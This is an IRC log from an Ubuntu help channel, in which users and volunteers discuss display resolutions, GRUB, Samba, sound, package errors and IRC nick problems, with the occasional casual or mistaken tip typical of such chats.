[04:57] <hakrzcode> that is the gnu standard libc. I am not sure what your problem is. But, doing a search for glibc, should find you what you are looking for. glibc, is the base library for everything on your system, even the kernel. It should be installed. maybe you are searching for the development package?
[04:57] <Hansel> subzero - look at the URL you pasted.  :)
[04:57] <Hansel> subzero - it has the line numbers for you...
[04:57] <subzero800> Hansel: lol, got it, but how do i paste the modline there?
[04:57] <Hansel> on each of those lines with the "1280x1024" "1024x768" just add in the resolution you want.
[04:58] <draeath> subzero800, http://keleus.freeshell.org/xorg.conf
[04:58] <Hansel> subzero800 - get to an xterm and type sudo pico /etc/X11/xorg.conf  (you might want to cp xorg.conf to xorg.conf.backup just incase)
[04:58] <subzero800> Hansel: I did...1280x1024...wont show up
[04:58] <draeath> subzero800, that is working. ignore some of the voodoo about PanelSize and such
[04:58] <corrupted> ok another question sorry how to i open/install tar.gz
[04:58] <Hansel> tar -zxvf file.tar.gz
[04:58] <draeath> subzero800, its a workaround for my craptacular hardware
[04:58] <Hansel> that will decompress it
[04:58] <dabaR> !compiling > corrupted
[04:59] <hakrzcode> corrupted: tar xzf tarball. tar.gz
[04:59] <[BTF] Chm0d> hey guys will superkaramba work in gnome even though its mainly for kde?
[04:59] <Lam_> am i able to install stuff to the RAM from the live cd?
[04:59] <Lam_> via aptget
[04:59] <jadacyrus> any Nvidia/edgy users experiencing X crash with beryl after latest xserver-xorg updates?
[04:59] <Hansel> [BTF] Chm0d, yes.  So long as you have kde-common installed
[04:59] <[BTF] Chm0d> tx Hansel
[04:59] <draeath> [BTF] Chm0d, yes. you will have to load the KDE libraries into memory, so more memory usage. But no other problems usually
[04:59] <[BTF] Chm0d> umm jadacyrus no
[04:59] <Hansel> [BTF] Chm0d, you can run gnome/kde apps in either environment so long as you have the base for each installed
[04:59] <draeath> [BTF] Chm0d, the package manager will deal with those files needed
[04:59] <[BTF] Chm0d> thx guys much appreciated
[05:02] <charlie5> hi all ... is there a way to have consoles individually remember their 'last commands' history, so that after a reboot, any automatically re-opened consoles retain their own command history ?
[05:03] <blanky> hey guys I know this is off topic but you're all knowing :P How do I change the message in an irc channel?
[05:03] <noobcook> Hansel: what libs do i need for this program to compile?
[05:04] <blanky> noobcook: which one?
[05:04] <oidia> blanky:  /topic ?
[05:04] <Hansel> blanky - change the message?
[05:04] <blanky> it should tell you in the readme, or check ./configure
[05:04] <blanky> oidia: OH WOW, I can't believe I forgot
[05:04] <noobcook> sip
[05:04] <noobcook> it doesnt say in the readme
[05:04] <blanky> nevermind, thanks Hansel and oidia anyways
[05:04] <blanky> noobcook: eres p47?
[05:04] <xcon> lamebmx
[05:04] <xcon> seen lately?
[05:04] <blanky> noobcook: which one
[05:04] <Hansel> charlie5, cat .bash_history
[05:04] <noobcook> ah it comes up in configure
[05:05] <Hansel> charlie5, that is just systemwide history for any user
[05:05] <Hansel> to have a specific xterm or term remember I dont know how to do... or if its even possible.
[05:05] <steelb> aww man, i let ubuntu install the sound drivers for my onboard and there's incredible amount of distortion, what do i doooooo??!!
[05:05] <noobcook> blanky i need ssl, libpq, ibsvn,sap/r3 and ssh2 would it all be on aptget?
[05:05] <corrupted> i have the compiler now how do i compile the tar.gz?
[05:05] <Hansel> noobcook - should be.
[05:06] <ataripunk> someone told me a link to reconfigure my screen resolution ... can someone point me to it again
[05:06] <ataripunk> that and probing my video card
[05:06] <Hansel> !compile | corrupted
[05:06] <ubotu> corrupted: Compiling software from source? Read the tips at https://help.ubuntu.com/community/CompilingSoftware (But remember to search for pre-built !packages first: not all !repositories are enabled by default!)
[05:06] <noobcook> k
[05:07] <blanky> noobcook: yes, check with sudo apt-cache search <name here>
[05:07] <[BTF] Chm0d> one more question guys....i must not have my repositories correct cuz synaptic cannot find this dependency Depends: konsole (= 4:3.5.5-0ubuntu3.2)
[05:07] <corrupted> anyone know where to find better desktop themes =] 
[05:07] <draeath> corrupted, its a bit complicated, possibly. Extract the tar.gz "tar -xvf file.tar.gz" and then poke around the readme files :)
[05:07] <charlie5> Hansel: thanks, that cat command will help ... cheers
[05:07] <blanky> sudo apt-cache search libpq
[05:07] <blanky> for example
[05:07] <Hansel> corrupted-  which WM are you using?  gnome? kde? enlightenment? blackbox?  kde.themes.org would be a start...
[05:08] <corrupted> gnome
[05:08] <noobcook> blanky: do i need everything or justlibssl-dev - SSL development libraries, header files and documentation
[05:08] <blanky> -dev should probably just be required
[05:08] <noobcook> k
[05:09] <Hansel> corrupted - http://art.gnome.org/
[05:09] <corrupted> ty
[05:10] <noobcook> whos seen the new ipod?
[05:10] <corrupted> its small
[05:10] <corrupted> xD
[05:10] <noobcook> nah the one after that
[05:10] <smartman> hi guys
[05:10] <corrupted> hmmm
[05:10] <corrupted> the iphone?
[05:10] <noobcook> its a phone and an ipod together and a camera
[05:10] <noobcook> yeh
[05:10] <leonel> ipod ?  what's that ?  works with ubuntu ?
[05:10] <noobcook> looks coool huh
[05:11] <corrupted> it is cool
[05:11] <corrupted> i want it
[05:11] <noobcook> same
[05:11] <noobcook> only 700$
[05:11] <noobcook> AU
[05:11] <Hansel> only
[05:11] <Hansel> hah.
[05:11] <noobcook> AU
[05:11] <noobcook> so 400$ american
[05:11] <rocketman> how do I setup ubuntu to use dual monitors?
[05:11] <corrupted> cheaper then that
[05:11] <corrupted> im american there like 300
[05:11] <noobcook> yeh true
[05:12] <Hansel> rocketman, http://www.linuxquestions.org/questions/showthread.php?t=341003
[05:13] <dabaR> !enter
[05:13] <ubotu> Please try to keep your questions/responses on one line - don't use the "Enter" key as punctuation!
[05:13] <craigbass1976> 900 people.  What's going on in here?
[05:13] <tweeskter> im having trouble, i just installed XP on a second har drive (hdd) how do i add that to the grub menu on hda ?
[05:13] <corrupted> oh no lol um another question =]  how do you install themes =D
[05:14] <dabaR> !themes > corrupted
[05:14] <subzero800> guys, i added the modline, and i added the modes in the correct place, the resolution still wont show up.  what should i do?
[05:14] <dabaR> tweeskter: can you reconnect the windows as the first drive, and reinstall grub?
[05:14] <Hansel> subzero800 - did you set it as the first resolution in the list?
[05:14] <Hansel> subzero800 - if not you have to use a tool to switch between the resolutions.
[05:14] <tweeskter> i suppose i could but why cant grub just be on the primary?
[05:14] <corrupted> event not found
[05:14] <subzero800> Hansel: yeah
[05:15] <craigbass1976> tweeskter, I don't think Windows will like it at all
[05:15] <Hansel> subzero800 - that generally means your monitor doesnt support a resolution that high then.  :(
[05:15] <Hansel> subzero800 - can you pastebin your current config so I can look it over?
[05:15] <tweeskter> what being on a second hard drive?
[05:15] <sutabi> When ever I use the package manger I get these error http://dpaste.com/4585/ anyone know how to fix them?
[05:16] <Hansel> sutabi - strange... never seen anything like that.  :x
[05:16] <craigbass1976> tweeskter, yes, or maybe it just doesn't like being on a second partition.  I've always installed linux second, until I stopped using windows altogether.  Anyway, Windows doesn't like playing second fiddle
[05:16] <dabaR> tweeskter: grub always installs in the mbr, on the first disk. But windows likes to be the first hd.
[05:16] <tweeskter> its on the first partition of that hard drive
[05:17] <tweeskter> dabaR ahh.
[05:17] <dabaR> like C
[05:17] <Hansel> sutabi - maybe you just go to an xterm and sudo apt-get upgrade gnome-core and see if it might automagically fix it all?
[05:17] <corrupted> how many think i need to go back to xp =[
[05:17] <tweeskter> which is funny cause i am in windows now and it lists as C,  so basically switch the hard drives around, then what?
[05:17] <sutabi> Hansel: i'll give it a try
[05:17] <subzero800> Hansel: sure, just so you know i have a 15.4 inch widescreen thats 1280x800, and the external hooked up that's 1280x1024, i dont care what it is on the widescreen
[05:17] <subzero800> http://paste.ubuntu-nl.org/1258/
[05:18] <Hairball> hi. i'm having trouble mapping a network drive to a lamp box from xp. apparently it's a common problem, but enabling pw encypt didn't change anything. any suggestions?
[05:19] <[BTF] Chm0d> what does everyone use in here to burn a .cue image?
[05:19] <Hairball> btf - nero
[05:19] <Hansel> subzero800, in your Section "Screen" that begins on line 136 in that pastebin URL try adding "1024x768" as the last option...
[05:19] <[BTF] Chm0d> thx
[05:20] <dabaR> tweeskter: reinstall grub.
[05:20] <tweeskter> to which drive?
[05:20] <dabaR> with both on, to the mbr
[05:20] <Hansel> [BTF] Chm0d, http://www.linuxquestions.org/questions/showthread.php?t=212435
[05:20] <subzero800> Hansel: and every line after starting with 143 right?
[05:21] <Hansel> Subzero - correct
[05:21] <Hansel> subzero800, as a last resort 1024x768 will work 99.9% of the time incase your monitor cant handle the higher res  :)
[05:21] <subzero800> Hansel: its in 1024x768
[05:22] <Tenri3> Hey, folks.
[05:22] <Hansel> well according to your xorg.conf it shouldn't be able to get to 1024x768...
[05:22] <Hansel> hey Tenri3
[05:22] <darweth> Hey Tenri3.
[05:22] <Tenri3> Hey, um, couple of questions...
[05:22] <subzero800> Hansel: well im in XGL
[05:22] <sutabi> Hansel: the same issue, I should I just remove those packages? I tried to upgrade to 6.10 from 6.06 and the gnome didn't work out well and I was force to install KDE instead
[05:22] <Hansel> ewww.. that changes some things.  :)
[05:22] <Tenri3> first of all, my username isn't supposed to be Tenri3, it's supposed to be Tenric.
[05:23] <darweth> Tenric is taken by someone else.
[05:23] <Tenri3> yeah. me.
[05:23] <Tenri3> I registered it.
[05:23] <Hansel> sutabi - have you tried removing and reinstalling?  sometimes apt gets a tad confused.
[05:23] <Tenri3> and now I can't log on as myself.
[05:23] <Hansel> hah.
[05:23] <Hansel> identity crisis
[05:23] <Tenri3> yep.
[05:23] <seth_> Hi people!
[05:24] <Hansel> hi seth_
[05:24] <darweth> Hello seth_ !
[05:24] <sutabi> Hansel: I tried removing those pages it listed... is there a way to remove all of gnome?
[05:24] <Madm3rlin> hi
[05:24] <rikai> * [Tenric]  (n=andrew@cpe-70-112-71-82.austin.res.rr.com): gaim
[05:24] <rikai> * [Tenri3]  (n=Tenric@cpe-70-112-71-82.austin.res.rr.com): Tenric
[05:24] <rikai> your gaim is logged into irc.
[05:24] <Madm3rlin> are there any games out for PPC
[05:24] <juano> anyone configured Kontact with gmail???
[05:24] <juano> cant seem to configure it well
[05:24] <rikai> Tenri3, your gaim is logged into irc.
[05:24] <Tenri3> I know.
[05:24] <Hansel> sutabi - if you remove gnome-base or common or whatever its called it oughta kill the rest
[05:24] <subzero800> Hansel: so any ideas?
[05:24] <lakin> great, right when I actually need to burn a data dvd, I get: File image creation failed\n Unknown error ...
[05:24] <Hansel> subzero800 - running out of 'em.  :(  maybe #ubuntu-xgl?
[05:25] <Tenri3> I'm using gaim right now.
[05:25] <seth_> I was curious if anyone has experience with 6.10 live cd using ATI AIW 9600 and a fancy dell wide screen lcd.  I keep getting Freq out of range
[05:25] <dabaR> Madm3rlin: ya, there is mahjong
[05:25] <Tenri3> mahjong is fun.
[05:25] <rikai> Tenri3, thats why you cant use it. Your gaim is already using it.
[05:25] <rikai> Anyway, afk.
[05:25] <dabaR> and tetris
[05:25] <Madm3rlin> grr
[05:25] <Tenri3> so how do I tell my gaim that I'm me?
[05:25] <Hansel> Tenri3 - gaim already knows you are you... type /whois tenric
[05:25] <sutabi> Hansel: its already been removed
[05:25] <dabaR> Tenri3: ctrl-a, add your account
[05:26] <Tenri3> I'm on my Tenric account.
[05:26] <Tenri3> password set up and everything.
[05:26] <Hairball> can someone help me figure out why i can't map a drive in xp to a samba share?
[05:26] <craigbass1976> corrupted, what did you decide?  Windows or linux?
[05:26] <Hansel> !samba | hairball
[05:26] <Tenri3> the /whois Tenric says the account is away
[05:27] <Hairball> !samba
[05:27] <juano> anyone configured Kontact with gmail???
[05:27] <juano> cant seem to configure it well
[05:27] <Tenri3> Samba!
[05:27] <Madm3rlin> guys
[05:27] <Hairball> erm?
[05:27] <Madm3rlin> why does ubuntu feel like nubuntu
[05:27] <Hansel> juano - nada... google for gmail pop3 and it oughta have the info.
[05:27] <dabaR> juano: did you ask google?
[05:27] <Madm3rlin> like i didn;t have to do anything to get everything working
[05:27] <Madm3rlin> windows takes more to install
[05:28] <ubotu> hairball: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[05:28] <ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[05:28] <Hansel> Madm3rlin, some distros are like that... if you want to feel like a k-rad 3r33t hax0r then go for gentoo  :)
[05:28] <Madm3rlin> eh
[05:28] <Madm3rlin> ive already installed gentoo
[05:28] <Madm3rlin> stage 1
[05:28] <sutabi> Hansel: I got the errors to stop, I remoev 'gnome-core' and 'acpid', but now I have no gnome :(
[05:28] <Madm3rlin> compile time sucks
[05:28] <seth_> I was curious if anyone has experience with 6.10 live cd using ATI AIW 9600 and a fancy dell wide screen lcd.  I keep getting Freq out of range
[05:28] <sutabi> Hansel: each time I try to install it the errors just rught back
[05:28] <Hansel> sutabi - so now rev up Synaptic or just apt-get install gnome.
[05:28] <Hansel> hrrmm...  :(
[05:29] <Hansel> seth_ probably your resolution is too high in xorg.conf
[05:29] <juano> Hansel: yeah i configured it just like it sais except it wont fetch email and cant send! lol, weird
[05:29] <dabaR> sutabi: install ubuntu-desktop to get gnome.
[05:29] <darweth> Should I use subpixel smoothing even if my monitor is a CRT?
[05:29] <juano> Hansel: funniest thing i can send from thunderbird but cant fetch
[05:29] <darweth> For fonts.
[05:29] <Hansel> juano - well... to send you will probably have to use your ISPs mailserver... (they usually do that to limit spam)
[05:29] <dabaR> sutabi: and x-window-system-core if it does not install it itself.
[05:29] <Tenri3> If I removed my Tenric irc account from gaim would that force it to log off?
[05:29] <Hansel> but to receieve the gmail server oughta work.
[05:30] <sc4ttrbrain> Madm3rlin, is it take so much time, for compiling? i got 800MHz,and wat to try gentoo but, im afraid it takes years to compile ,lol
[05:30] <juano> Hansel: nah, cause in windows it works fine
[05:30] <sutabi> dabaR: thanks I'll give it a shot :) 1.09 mB >.<
[05:30] <juano> Hansel: no need ISP
[05:30] <seth_> is there a meaningful way to change that in the live cd?  I want to get edgy installed at least and then tweak ui
[05:30] <jedrick> what's the command of apt-get to see the list?
[05:30] <draeath> MIRROR PROBLEM UPDATE: webmaster contact address: mirror-admin@anl.gov
[05:30] <seth_> thc
[05:30] <Madm3rlin> sc4t: HAHAHAHAH
[05:30] <Hairball> Hansel - actually, it's the other way around. i have a share on my lamp box. and i'm trying to map from xp. user/pass keep getting rejected
[05:30] <Madm3rlin> dude
[05:30] <Madm3rlin> 800mhz
[05:30] <Madm3rlin> do stage 3
[05:30] <draeath> as per trying to open a .deb file directly in firefox
[05:30] <Madm3rlin> compiling will take u days
[05:30] <draeath> "The proxy server received an invalid response from an upstream server."
[05:31] <sc4ttrbrain> lol,i know,thats way i stick to debian
[05:31] <dabaR> seth_: can you boot into a console?
[05:31] <Tenri3> be back
[05:32] <Sir_Penguin> Hi :D I've currently got my Linux box next to me with a direct wired connection to a NETGEAR DG834G Modem/Wireless AP/Router etc, etc
[05:32] <NsOmNiAc> I'm having HELL probing my graphics card anyone care to lend a hand the most I can get it to support is 1024x768
[05:32] <Sir_Penguin> However, when I try to run "sudo ppoeconf" I get the following:
[05:33] <Madm3rlin> sigh
[05:33] <Madm3rlin> seriously
[05:33] <Madm3rlin> what games support ppc architecture
[05:33] <corrupted> how can i take a folder and add to another
[05:33] <Madm3rlin> what
[05:33] <corrupted> that only root can access
[05:33] <draeath> MIRROR PROBLEM UPDATE: replace all occurances of us.archive.ubuntu.com with archive.ubuntu.com and it seems to work
[05:33] <Madm3rlin> chmod 000
[05:34] <Sir_Penguin> Sorry, I scanned 3 interfaces (these were the wlan0, eth0 and eth1) but the Access Concentrator  of your provider did not respond.
[05:34] <Hansel> corrupted, sudo mv dir/ /over/here
[05:34] <Sir_Penguin> I have closed all other network programs but that's still what i get :(
[05:34] <Sir_Penguin> Anyone know a fix?
[05:34] <Tenri3> wow. that sure didn't work.
[05:35] <Tenri3> seriously.  does anyone know how to get my "other" irc accounts to log off?
[05:35] <Madm3rlin> do /quit i like poop
[05:35] <Hairball> ten. is your other nick ghosted? if so, kill the ghost
[05:35] <Madm3rlin> oh
[05:35] <Madm3rlin> thought u ment quitting client
[05:35] <Tenri3> don't know.
[05:35] <subzero800> Hansel: you here?
[05:35] <Tenri3> lemme see
[05:35] <Madm3rlin> tenri do you mean an irc client
[05:35] <craigbass1976> corrupted, I'm not sure, but I think you would jsut make root the owner and only give root rwx permissions to it
[05:36] <Tenri3> I have no idea.
[05:36] <Tonren> I can no longer open a terminal.  What gives?
[05:36] <Tonren> I see the "Opening terminal" thing in my taskbar, hten it disappears
[05:36] <Tenri3> your terminal hates you.
[05:36] <corrupted> craig how would i do that i cant log in as root from start up
[05:36] <NsOmNiAc> Tenri3: you can always do the following
[05:36] <NsOmNiAc> ps aux | grep yourusername
[05:36] <NsOmNiAc> find the processes and kill them
[05:37] <tweeskter> now i just gotta figure out why my Xorg is crashing within 3 minutes of logging in ever since irebooted after installing beryl etc (which all worked flawlesslsly last night and today
[05:37] <Tenri3> ah
[05:37] <Tenri3> lemme try that
[05:37] <Madm3rlin> um
[05:37] <Madm3rlin> so are there any games for PPC
[05:38] <tweeskter> is the nvidia driver in lsmod correct for running an Nvidia card. i switched to a new card yesterday and it worked, now after i rebooted all it does is crash
[05:38] <Tenri3> which number is the job ID?
[05:39] <Tonren> That's weird... uh, so, I have this 1 terminal open, using tilda.  If I do ps aux | grep gnome-terminal, the terminals I TRY to open are there, but I can't find them!
[05:39] <Tonren> I tried killing them and re-opening and it didn't work.  Same result.
[05:39] <Hairball> so who knows why i can't map to a share on my lamp box from xp? and why it won't accept the user/pass?
[05:39] <Madm3rlin> err
[05:40] <Madm3rlin> do u have samba installed
[05:40] <tweeskter> Hairball kick the debug level up in swat and look at the log
[05:40] <Hairball> lol. yes
[05:40] <corrupted> is there a way to give myself full privlages so i wont have to use sudo and i can just add/delete files in the file system
[05:40] <Madm3rlin> dude
[05:40] <Hairball> added user, added share to smb.conf, enabled pw encrypt, and restarted
[05:40] <Tenri3> is there anyway I can tell the server that I'm actually Tenric and give it my password?
[05:40] <Madm3rlin> its a security feature
[05:41] <jedrick> can someone help me.. i got this error when i try to do "sudo apt-get update" -- > http://paste.ubuntu-nl.org/1262/   ... help pls..
[05:41] <Madm3rlin> tenri3
[05:41] <Madm3rlin> connecting to windows shares can be a bitch
[05:41] <Madm3rlin> are you on a workgroup or a domain
[05:41] <joe_cot2> Hey, the kernel hangs while loading while trying to install on my new laptop. the last message i get is: ieee1394: Initialized config rom entry 'ip1394'
[05:41] <Tenri3> huh?
[05:42] <corrupted> well craig i like linux and windows i want linux but its hard to understand =[
[05:42] <corrupted> everything i try to do accept install apache i mess up
[05:43] <Hairball> mad - wow. i am on a domain. but i haven't connected to it with samba. thanks!
[05:43] <jedrick> can someone help me.. i got this error when i try to do "sudo apt-get update" -- > http://paste.ubuntu-nl.org/1262/   ... help pls..
[05:44] <craigbass1976> corrupted, sorry, I'm yelling at a windows box at another desk...  You could sudo it I think.  I'm not sure without there being a passworded root account.  You might try sudo chown root:root /file/or/folder/name
[05:44] <sc4ttrbrain> jedrick,check wether u have duplicate entry on /etc/apt/sources.list
[05:44] <sc4ttrbrain> jedrick, then try again,or use different mirror
[05:44] <Hairball> corrupted: sudo -s -H  .... that will log you in as root so you don't have to type sudo
[05:45] <sc4ttrbrain> its usual error
[05:45] <craigbass1976> corrupted, you're having trouble like I am, except we're backwards OS wise.  I can't for the life of me remeber where stuff is in Windows and I'm trying to grab this guy's data before I wipe the drive.
[05:45] <user01> does anyone use latex in ubuntu/
[05:45] <user01> ?
[05:45] <corrupted> Lol criag i am like a geek with windows xD
[05:45] <craigbass1976> corrupted, HAH!  you're getting PMed then
[05:45] <iketurner> I have tried 4 different mirrors they are down
[05:45] <Tenri3> latex?
[05:46] <tweeskter> what is the correct module that should be listed for beryl/xgl to work if you have an nvidia card in lsmod?
[05:46] <user01> sorry LaTeX
[05:46] <Tenri3> huh?
[05:46] <corrupted> it wont let me respond to pms
[05:46] <craigbass1976> Ahh, you must not have a pass for freenode or something.
[05:46] <user01> i changed everything i can think of and it is still giving me a4 paper
[05:47] <craigbass1976> Do you have yahoo IM?
[05:47] <corrupted> no only msn
[05:47] <Hairball> latex = virus protection while interfacing other machines??
[05:47] <gpd> i am lacking X after update -- any pointers?
[05:48] <dstaudt> question: my ubuntu install is on a USB hard drive (need to keep my internal HD for work separate), occasionally I accidentally unplug the USB drive, and of course the environment goes nuts - is there any way to recover from this?  i.e. remount in r/w?
[05:48] <xXcorruptedXx> hmm
[05:48] <xXcorruptedXx> im being spammed by notice =[
[05:49] <Tenri3> why does certain text online show up as some Eastern font?
[05:49] <craigbass1976> corrupted, I'm craigbass76 on msn
[05:49] <xXcorruptedXx> @hotmail?
[05:50] <xXcorruptedXx> .com or co.uk
[05:50] <joe_cot2> is there a way of disabling ieee1394 when loading the kernel?
[05:50] <Tenri3> it's unreadable and I have to copy/paste it to the text program
[05:52] <Hairball> gaming = real world? wtf.
[05:53] <Dishmop> hi all
[05:54] <Tenri3> hey
[05:55] <Tenri3> so would someone like to answer my question?
[05:55] <shinobi2> my flash drive's table is screwed up, how can i fix it? http://rafb.net/p/qgbwpE58.html
[05:56] <juano_> cant make gmail work with kmail
[05:57] <Tenri3> where did all the people who know what they're doing go?
[05:57] <juano_> i can connect to the server itll check messages for inbox but it sais no new messages and i have a new message right there insibe the inbox through http weird
[05:58] <Dishmop> @Tenri3, what's your question?
[05:58] <kupesoft> Where can I read more about creating chroot "jails" for users?
[05:58] <seth_> is there a way to get to console from booting live cd?
[05:58] <Rookie-1> !rootjail
[05:58] <ubotu> Sorry, I don't know anything about rootjail - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:58] <Rookie-1> !rootjails
[05:58] <kupesoft> I have a multi-user environment and I want them each in their own chroot jail when logged in via ssh
[05:58] <ubotu> Sorry, I don't know anything about rootjails - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:58] <seth_> like alt enter?
[05:58] <mataks_> i need help i can't play music on xmms? why is that?
[05:59] <Tenri3> Ajmorris: a certain type of text on webpages shows up as some weird Eastern font
[05:59] <Ajmorris> @Seth you mean once your in the live cd?
[05:59] <Tenri3> Ajmorris: I don't know what type of text this is
[05:59] <newbie88> hello all,
[05:59] <seth_> @Ajmorris yes
[05:59] <Tenri3> ney
[05:59] <Tenri3> hey
[05:59] <seth_> although I cant see the ui do to vga issues
[05:59] <newbie88> I has some problem with firefox in ubuntu.
[06:00] <Ajmorris> Tenri3: it is probably a windows specific font
[06:00] <seth_> so im hoping i can drop to full screen and then do the install
[06:00] <Tenri3> yeah, but it wasn't doing it before
[06:00] <mataks_> i need help i can't play music on xmms? why is that?
[06:00] <newbie88> I can't open url http://www.image-asia.com:2095 I try on Windows Xp system it's working fine.
[06:01] <music_> ok
[06:01] <music_> i shouldnt drop any more
[06:01] <Ajmorris> @Seth it's called terminal from System Tools
[06:01] <Tenri3> Ajmorris: yeah, but it wasn't doing it begore
[06:01] <Tenri3> *before
[06:01] <music_> can any ping me
[06:01] <seth_> @Ajmorris i just cant see anything due to freq out of range on my monitor
[06:02] <mataks_> i need help.. i can't play songs on xmms.. help anyone pls.. im just a newie
[06:02] <Ajmorris> @seth oh.
[06:02] <music_> mataks_; what format?
[06:02] <Rookie-1> !mp3
[06:02] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[06:02] <seth_> mataks: mp3 files?
[06:02] <mataks_> mp3
[06:02] <mataks_> yes
[06:03] <mataks_> i just installed xmms and it won't play
[06:03] <music_> mataks_; you need reinstalling
[06:03] <seth_> mataks_: did u install automatix?
[06:03] <mataks_> i install through apt-get install
[06:03] <newbie88> who you know why firefox can't open website another port such as port 2095.
[06:03] <Ajmorris> is everyone aware of the www.ubuntuforums.org ? They are very active and can answer your questions almost as quickly as irc :)
[06:03] <music_> ok my connection so far is good
[06:04] <music_> i think i might go back in ubuntu
[06:04] <music_> i just got everying trouple shooted
[06:04] <mataks_> how to remove installed programs?
[06:04] <Moose> Would ubuntu be alright for a new Linux user?
[06:04] <music_> sudo apt-get remove xmms
[06:05] <mataks_> music_, ok thnx
[06:05] <music_> Moose the best
[06:05] <PORDO> how can i restart alsa?
[06:05] <music_> Moose; its the most friendly using
[06:05] <mataks_> what is moose?
[06:06] <xXcorruptedXx> anyone know where glibc needs to be unziped to?
[06:06] <music_> mataks_; its a name in this channel
[06:06] <lupine_85> erm. anyone here know how to get the network device working in qemu ?
[06:06] <mataks_> hehe oh ok :)
[06:06] <Ajmorris> PORDO: go to system > Administration > System Monitor and restart the service from there
[06:07] <Zealot87> so yeah...big problem, i restarted x and now it says "i've detected a panel already running and i will exit" and now i don't have my gnome panels at all! :(
[06:07] <madk> I am new to ubuntu and am setting up the static ip address in the network interface and the I cannot save the conf file does anyone know how?
[06:07] <music_> BRB EVERYONE
[06:07] <smartman> hi guys i have asmall problim thir is any one can help me ?
[06:07] <smartman> that is about the sounde buit on the internet
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[06:07] <madk> I am logged is a sudo root
[06:07] <Jmh0403> Hey everyone, I'm just starting out on Linux and it feels great. I've looked at many tutorials and howtos but I can't find out how to open a directory from the terminal into x.
[06:08] <Jmh0403> Is there a command for this?
[06:08] <smartman> i was watching avideoclip it's working without any problimes but the sounde doesn't work
[06:08] <lupine_85> Jmh0403: nautilus /path/to/directory ?
[06:08] <PORDO> Ajmorris i think you're talking about restarting esd.
[06:08] <smartman> but if i plyed any song it workiong
[06:08] <lupine_85> append & if you want to continue using the console
[06:08] <PORDO> Ajmorris i'm talking about something you'd do from the command line to restart _alsa_.
[06:08] <Moose> If I want to do manual partitioning, how can I specify a "root file or directory"? The installer yelled at me when I did manual partitioning and told me none was found.
[06:08] <puff> Hm, I have this portable USB drive case that appears to contain an old windows drive. It automounts as read-only.  Is that the old NTFS limitation problem, or is there something I can do (short of reformatting the drive) to make it writable?
[06:08] <Jmh0403> lupine_85,  I'll try it. Thank you
[06:09] <Ajmorris> @PORDO oh sorry .
[06:09] <crimsun> PORDO: you don't need to "restart alsa" for asoundrc changes to take effect, only restart alsa apps.
[06:09] <Rookie-1> Jmh0403 - if you want to jumpp into a dir within a terminal/console, just type cd /dir/you/want/to
[06:09] <Zealot87> how do i run terminal without gnome running?
[06:09] <Zealot87> alt-f2 doesnt work, my gnome taskbar and app launcher is gone
[06:09] <Ajmorris> @puff the ability to write to NTFS from linux is still experimental.
[06:10] <xXcorruptedXx> anyone know where glibc needs to be unziped to?
[06:10] <smartman> ok guys you may be buys now i'll come again in anther time
[06:10] <Jmh0403> Rookie-1,  thanks but I want to know how to open it in x
[06:10] <smartman> bye guys
[06:10] <music_> .
[06:10] <PORDO> sudo asoundconf reset-default-card
[06:10] <music_> ok
[06:10] <music_> i'm must better
[06:10] <PORDO> oh.
[06:10] <PORDO> crimsun well my sound is randomly not working again, and i haven't changed anything.
[06:11] <Zealot87> anyone know how to open terminal, i tried a launcher on the desktop but it says that 'terminal' is not a file!
[06:11] <PORDO> now i've gone in and changed the buffer sizes around thinking maybe that was it.
[06:11] <Zealot87> remember, my app bar is GONE
[06:11] <PORDO> but it's still not working
[06:11] <crimsun> PORDO: no, that asoundconf command removes parameters from ~/.asoundrc.asoundconf
[06:11] <PORDO> ALSA lib pcm_params.c:2152:(snd_pcm_hw_refine_slave) Slave PCM not usable
[06:11] <madk> hey Ajmorris I am using this tutorial to setup ubuntu 6.06  "http://www.howtoforge.com/perfect_setup_ubuntu_6.06"
[06:11] <cokeslut> hello
[06:11] <QRZ`> hi
[06:12] <crimsun> PORDO: asoundconf is useless if you've already manually edited ~/.asoundrc
[06:12] <madk> hi
[06:12] <Jmh0403> While I'm here, can anyone help me get some codecs?
[06:12] <PORDO> i don't have any local asoundrc files.
[06:12] <PORDO> just asound.conf.  the same one i finally got working the other day.
[06:12] <PORDO> now it's just suddenly randomly not working.
[06:12] <crimsun> PORDO: /etc/asound.conf _is_ an asoundrc
[06:13] <Ajmorris> @Zealot87 press alt+F2 and type gnome-terminal
[06:13] <PORDO> i know that it's _an_ asoundrc.
[06:13] <Zealot87> alt+F2 doesnt work
[06:13] <crimsun> PORDO: so why are you messing with asoundconf?
[06:13] <Ajmorris> @madk so whats the problem
[06:13] <Zealot87> gnome-terminal! thats it, i'll try a launcher with that as the app
[06:13] <PORDO> because remember i was having buffer underruns.
[06:13] <PORDO> i tweaked the buffer sizes.  that didn't seem to change anything.
[06:13] <crimsun> PORDO: no, remove all ~/.asoundrc* and only edit /etc/asound.conf , then
[06:13] <PORDO> crimsun that's all i've been doing.
[06:13] <Zealot87> thanks Ajmorris, thats a first step!
[06:14] <PORDO> crimsun i have no ~/.asoundrc anywhere.
[06:14] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back
[06:14] <Ajmorris> @Zealot87 np
[06:14] <PORDO> on any user account on my machine.
[06:14] <crimsun> PORDO: good, so don't use asoundconf(1).
[06:14] <Moose> If I have a partition on a second container for my server, how could I switch to it's directory? Also, what file system should I use if I just want it for storage, programs, etc...?
[06:14] <PORDO> okay.
[06:14] <crimsun> PORDO: now, pastebin your /etc/asound.conf
[06:14] <Ajmorris> how do we reply to someone with the yellow text as our name?
[06:14] <Zealot87> I try to run 'gnome-panel' and it says "i've detected a panel already running and will now exit"
[06:14] <cokeslut> ??
